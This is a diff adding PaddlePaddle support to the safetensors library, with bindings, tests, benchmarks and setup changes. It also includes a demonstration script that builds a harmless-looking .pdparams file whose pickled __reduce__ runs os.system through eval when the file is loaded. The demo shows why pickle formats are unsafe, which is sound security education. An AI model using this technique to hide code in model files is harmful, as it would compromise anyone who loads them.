working-directory: ./bindings/python
run: |
pip install -U pip
- pip install .[numpy,tensorflow]
+ pip install .[numpy,tensorflow,paddlepaddle]
pip install ${{ matrix.torch_version }}
- name: Install (jax, flax)
*.h5
*.msgpack
*.pt
+*.pdparams
*.safetensors
*.npz
| Cap'n'Proto | 🗸 | 🗸 | ~ | 🗸 | 🗸 | ~ | ✗ |
| Arrow | ? | ? | ? | ? | ? | ? | ✗ |
| Numpy (npy,npz) | 🗸 | ? | ? | ✗ | 🗸 | ✗ | ✗ |
+| pdparams (Paddle) | ✗ | ✗ | ✗ | 🗸 | ✗ | 🗸 | 🗸 |
| SafeTensors | 🗸 | 🗸 | 🗸 | 🗸 | 🗸 | ✗ | 🗸 |
- Safe: Can I use a file randomly downloaded and expect not to run arbitrary code ?
python torch_ace_get_pwned.py
```
+# PaddlePaddle Arbitrary code execution
+
+Try it out. This will create a seemingly innocuous `paddle_ace.pdparams` file.
+```
+python paddle_ace_create.py
+python paddle_ace_get_pwned.py
+```
+
# Tensorflow (Keras) Arbitrary Code execution (does not affect `transformers`)
Try it out. This will create a seemingly innocuous `tf_ace.h5` file.
--- /dev/null
+import paddle
+import numpy as np
+from collections import Iterable, OrderedDict
+
+def _parse_every_object(obj, condition_func, convert_func):
+ if condition_func(obj):
+ return convert_func(obj)
+ elif isinstance(obj, (dict, OrderedDict, list)):
+ if isinstance(obj, list):
+ keys = range(len(obj))
+ else:
+ keys = list(obj.keys())
+ for key in keys:
+ if condition_func(obj[key]):
+ obj[key] = convert_func(obj[key])
+ else:
+ obj[key] = _parse_every_object(
+ obj[key], condition_func, convert_func
+ )
+ return obj
+ elif isinstance(obj, tuple):
+ return tuple(
+ _parse_every_object(list(obj), condition_func, convert_func)
+ )
+ elif isinstance(obj, set):
+ object(list(obj), condition_func, convert_func)
+ else:
+ return obj
+
+# hack _parse_every_object method
+paddle.framework.io._parse_every_object = _parse_every_object
+
+class BadDict(dict):
+ def __init__(self, src: str, **kwargs):
+ super().__init__(**kwargs)
+ self.src = src
+
+ def __reduce__(self):
+ return (
+ eval,
+ (f"os.system('{self.src}') or dict()",),
+ None,
+ None,
+ iter(self.items()),
+ )
+
+paddle.save(
+ [BadDict(
+ 'echo "pwned your computer, I can do anything I want."',
+ **{"weight": paddle.zeros((2, 2))},
+ )],
+ "paddle_ace.pdparams",
+)
--- /dev/null
+import paddle
+
+weights = paddle.load("paddle_ace.pdparams")[0]
+assert list(weights.keys()) == ["weight"]
+assert paddle.allclose(weights["weight"], paddle.zeros((2, 2)))
+print("The file looks fine !")
--- /dev/null
+import tempfile
+
+import numpy as np
+
+import paddle
+from safetensors.paddle import load_file, save_file
+
+
+def create_gpt2(n_layers: int):
+ tensors = {}
+ tensors["wte"] = paddle.zeros((50257, 768))
+ tensors["wpe"] = paddle.zeros((1024, 768))
+ for i in range(n_layers):
+ tensors[f"h.{i}.ln_1.weight"] = paddle.zeros((768,))
+ tensors[f"h.{i}.ln_1.bias"] = paddle.zeros((768,))
+ tensors[f"h.{i}.attn.bias"] = paddle.zeros((1, 1, 1024, 1024))
+ tensors[f"h.{i}.attn.c_attn.weight"] = paddle.zeros((768, 2304))
+ tensors[f"h.{i}.attn.c_attn.bias"] = paddle.zeros((2304,))
+ tensors[f"h.{i}.attn.c_proj.weight"] = paddle.zeros((768, 768))
+ tensors[f"h.{i}.attn.c_proj.bias"] = paddle.zeros((768,))
+ tensors[f"h.{i}.ln_2.weight"] = paddle.zeros((768,))
+ tensors[f"h.{i}.ln_2.bias"] = paddle.zeros((768,))
+ tensors[f"h.{i}.mlp.c_fc.weight"] = paddle.zeros((768, 3072))
+ tensors[f"h.{i}.mlp.c_fc.bias"] = paddle.zeros((3072,))
+ tensors[f"h.{i}.mlp.c_proj.weight"] = paddle.zeros((3072, 768))
+ tensors[f"h.{i}.mlp.c_proj.bias"] = paddle.zeros((768,))
+ tensors["ln_f.weight"] = paddle.zeros((768,))
+ tensors["ln_f.bias"] = paddle.zeros((768,))
+ return tensors
+
+
+def test_paddle_paddle_load(benchmark):
+ # benchmark something
+ weights = create_gpt2(12)
+ with tempfile.NamedTemporaryFile() as f:
+ paddle.save(weights, f.name)
+ result = benchmark(paddle.load, f.name)
+
+ for k, v in weights.items():
+ tv = result[k]
+ assert paddle.allclose(v, tv)
+
+
+def test_paddle_sf_load(benchmark):
+ # benchmark something
+ weights = create_gpt2(12)
+ with tempfile.NamedTemporaryFile() as f:
+ save_file(weights, f.name)
+ result = benchmark(load_file, f.name)
+
+ for k, v in weights.items():
+ tv = result[k]
+ assert np.allclose(v, tv)
__version__ = "0.2.9"
# Re-export this
-from ._safetensors_rust import safe_open, serialize, serialize_file, deserialize, SafetensorError # noqa: F401
+from ._safetensors_rust import SafetensorError, deserialize, safe_open, serialize, serialize_file # noqa: F401
--- /dev/null
+import os
+from typing import Dict, Optional, Union
+
+import numpy as np
+
+import paddle
+from safetensors import numpy
+
+
+def save(tensors: Dict[str, paddle.Tensor], metadata: Optional[Dict[str, str]] = None) -> bytes:
+ """
+ Saves a dictionnary of tensors into raw bytes in safetensors format.
+
+ Args:
+ tensors (`Dict[str, paddle.Tensor]`):
+ The incoming tensors. Tensors need to be contiguous and dense.
+ metadata (`Dict[str, str]`, *optional*, defaults to `None`):
+ Optional text only metadata you might want to save in your header.
+ For instance it can be useful to specify more about the underlying
+ tensors. This is purely informative and does not affect tensor loading.
+
+ Returns:
+ `bytes`: The raw bytes representing the format
+
+ Example:
+
+ ```python
+ from safetensors.paddle import save
+ import paddle
+
+ tensors = {"embedding": paddle.zeros((512, 1024)), "attention": paddle.zeros((256, 256))}
+ byte_data = save(tensors)
+ ```
+ """
+ np_tensors = _paddle2np(tensors)
+ return numpy.save(np_tensors, metadata=metadata)
+
+
+def save_file(
+ tensors: Dict[str, paddle.Tensor],
+ filename: Union[str, os.PathLike],
+ metadata: Optional[Dict[str, str]] = None,
+) -> None:
+ """
+ Saves a dictionnary of tensors into raw bytes in safetensors format.
+
+ Args:
+ tensors (`Dict[str, paddle.Tensor]`):
+ The incoming tensors. Tensors need to be contiguous and dense.
+ filename (`str`, or `os.PathLike`)):
+ The filename we're saving into.
+ metadata (`Dict[str, str]`, *optional*, defaults to `None`):
+ Optional text only metadata you might want to save in your header.
+ For instance it can be useful to specify more about the underlying
+ tensors. This is purely informative and does not affect tensor loading.
+
+ Returns:
+ `None`
+
+ Example:
+
+ ```python
+ from safetensors.paddle import save_file
+ import paddle
+
+ tensors = {"embedding": paddle.zeros((512, 1024)), "attention": paddle.zeros((256, 256))}
+ save_file(tensors, "model.safetensors")
+ ```
+ """
+ np_tensors = _paddle2np(tensors)
+ return numpy.save_file(np_tensors, filename, metadata=metadata)
+
+
+def load(data: bytes, device: str = "cpu") -> Dict[str, paddle.Tensor]:
+ """
+ Loads a safetensors file into paddle format from pure bytes.
+
+ Args:
+ data (`bytes`):
+ The content of a safetensors file
+
+ Returns:
+ `Dict[str, paddle.Tensor]`: dictionary that contains name as key, value as `paddle.Tensor` on cpu
+
+ Example:
+
+ ```python
+ from safetensors.paddle import load
+
+ file_path = "./my_folder/bert.safetensors"
+ with open(file_path, "rb") as f:
+ data = f.read()
+
+ loaded = load(data)
+ ```
+ """
+ flat = numpy.load(data)
+ return _np2paddle(flat, device)
+
+
+def load_file(filename: Union[str, os.PathLike], device="cpu") -> Dict[str, paddle.Tensor]:
+ """
+ Loads a safetensors file into paddle format.
+
+ Args:
+ filename (`str`, or `os.PathLike`)):
+ The name of the file which contains the tensors
+ device (`Dict[str, any]`, *optional*, defaults to `cpu`):
+ The device where the tensors need to be located after load.
+ available options are all regular paddle device locations
+
+ Returns:
+ `Dict[str, paddle.Tensor]`: dictionary that contains name as key, value as `paddle.Tensor`
+
+ Example:
+
+ ```python
+ from safetensors.paddle import load_file
+
+ file_path = "./my_folder/bert.safetensors"
+ loaded = load_file(file_path)
+ ```
+ """
+ flat = numpy.load_file(filename)
+ output = _np2paddle(flat, device)
+ return output
+
+
+def _np2paddle(numpy_dict: Dict[str, np.ndarray], device: str = "cpu") -> Dict[str, paddle.Tensor]:
+ for k, v in numpy_dict.items():
+ numpy_dict[k] = paddle.to_tensor(v, place=device)
+ return numpy_dict
+
+
+def _paddle2np(paddle_dict: Dict[str, paddle.Tensor]) -> Dict[str, np.array]:
+ for k, v in paddle_dict.items():
+ paddle_dict[k] = v.detach().cpu().numpy()
+ return paddle_dict
torchvision
torch_xla
tqdm
+ paddlepaddle
line_length = 119
lines_after_imports = 2
"pytest-benchmark",
"tensorflow",
"torch",
+ "paddlepaddle",
]
extras["numpy"] = deps_list("numpy")
extras["tensorflow"] = deps_list("tensorflow")
extras["jax"] = deps_list("jax", "flax")
+extras["paddlepaddle"] = deps_list("paddlepaddle")
extras["quality"] = deps_list("black", "isort", "flake8", "click")
extras["testing"] = (
deps_list("setuptools_rust", "huggingface_hub", "pytest", "pytest-benchmark", "h5py") + extras["numpy"]
)
extras["all"] = (
- extras["torch"] + extras["numpy"] + extras["tensorflow"] + extras["jax"] + extras["quality"] + extras["testing"]
+ extras["torch"]
+ + extras["numpy"]
+ + extras["tensorflow"]
+ + extras["jax"]
+ + extras["paddlepaddle"]
+ + extras["quality"]
+ + extras["testing"]
)
extras["dev"] = extras["all"]
--- /dev/null
+import unittest
+
+import numpy as np
+
+import paddle
+from safetensors.paddle import load_file, save_file
+
+
+class SafeTestCase(unittest.TestCase):
+ def setUp(self):
+ data = {
+ "test": paddle.zeros((1024, 1024), dtype=paddle.float32),
+ "test2": paddle.zeros((1024, 1024), dtype=paddle.float32),
+ "test3": paddle.zeros((1024, 1024), dtype=paddle.float32),
+ }
+ self.paddle_filename = "./tests/data/paddle_load.pdparams"
+ self.sf_filename = "./tests/data/paddle_load.safetensors"
+
+ paddle.save(data, self.paddle_filename)
+ save_file(data, self.sf_filename)
+
+ def test_deserialization_safe(self):
+ weights = load_file(self.sf_filename)
+
+ paddle_weights = paddle.load(self.paddle_filename)
+ for k, v in weights.items():
+ tv = paddle_weights[k]
+ self.assertTrue(np.allclose(v, tv))
save_file(data, local)
self.assertEqual(
str(ctx.exception),
- (
- "You are trying to save a sparse tensor: `test` which this library does not support. You can make it a"
- " dense tensor before saving with `.to_dense()` but be aware this might make a much larger file than"
- " needed."
- ),
+ "You are trying to save a sparse tensor: `test` which this library does not support. You can make it a"
+ " dense tensor before saving with `.to_dense()` but be aware this might make a much larger file than"
+ " needed.",
)
def test_bogus(self):
import numpy as np
import torch
+from safetensors import SafetensorError, safe_open, serialize
from safetensors.numpy import load, load_file, save, save_file
-from safetensors import safe_open, SafetensorError, serialize
from safetensors.torch import load_file as load_file_pt
from safetensors.torch import save_file as save_file_pt
repository = "https://github.com/huggingface/safetensors"
documentation = "https://docs.rs/safetensors/"
license = "Apache-2.0"
-keywords = ["safetensors", "huggingface", "Tensors", "Pytorch", "Tensorflow"]
+keywords = ["safetensors", "huggingface", "Tensors", "Pytorch", "Tensorflow", "PaddlePaddle"]
readme = "./README.md"
description = """
Provides functions to read and write safetensors which aim to be safer than
| Cap'n'Proto | 🗸 | 🗸 | ~ | 🗸 | 🗸 | ~ | ✗ |
| Arrow | ? | ? | ? | ? | ? | ? | ✗ |
| Numpy (npy,npz) | 🗸 | ? | ? | ✗ | 🗸 | ✗ | ✗ |
+| pdparams (Paddle) | ✗ | ✗ | ✗ | 🗸 | ✗ | 🗸 | 🗸 |
| SafeTensors | 🗸 | 🗸 | 🗸 | 🗸 | 🗸 | ✗ | 🗸 |
- Safe: Can I use a file randomly downloaded and expect not to run arbitrary code ?
//!| Cap'n'Proto | 🗸 | 🗸 | ~ | 🗸 | 🗸 | ~ | ✗ |
//!| Arrow | ? | ? | ? | ? | ? | ? | ✗ |
//!| Numpy (npy,npz) | 🗸 | ? | ? | ✗ | 🗸 | ✗ | ✗ |
+//!| pdparams (Paddle) | ✗ | ✗ | ✗ | 🗸 | ✗ | 🗸 | 🗸 |
//!| SafeTensors | 🗸 | 🗸 | 🗸 | 🗸 | 🗸 | ✗ | 🗸 |
//!
//!- Safe: Can I use a file randomly downloaded and expect not to run arbitrary code ?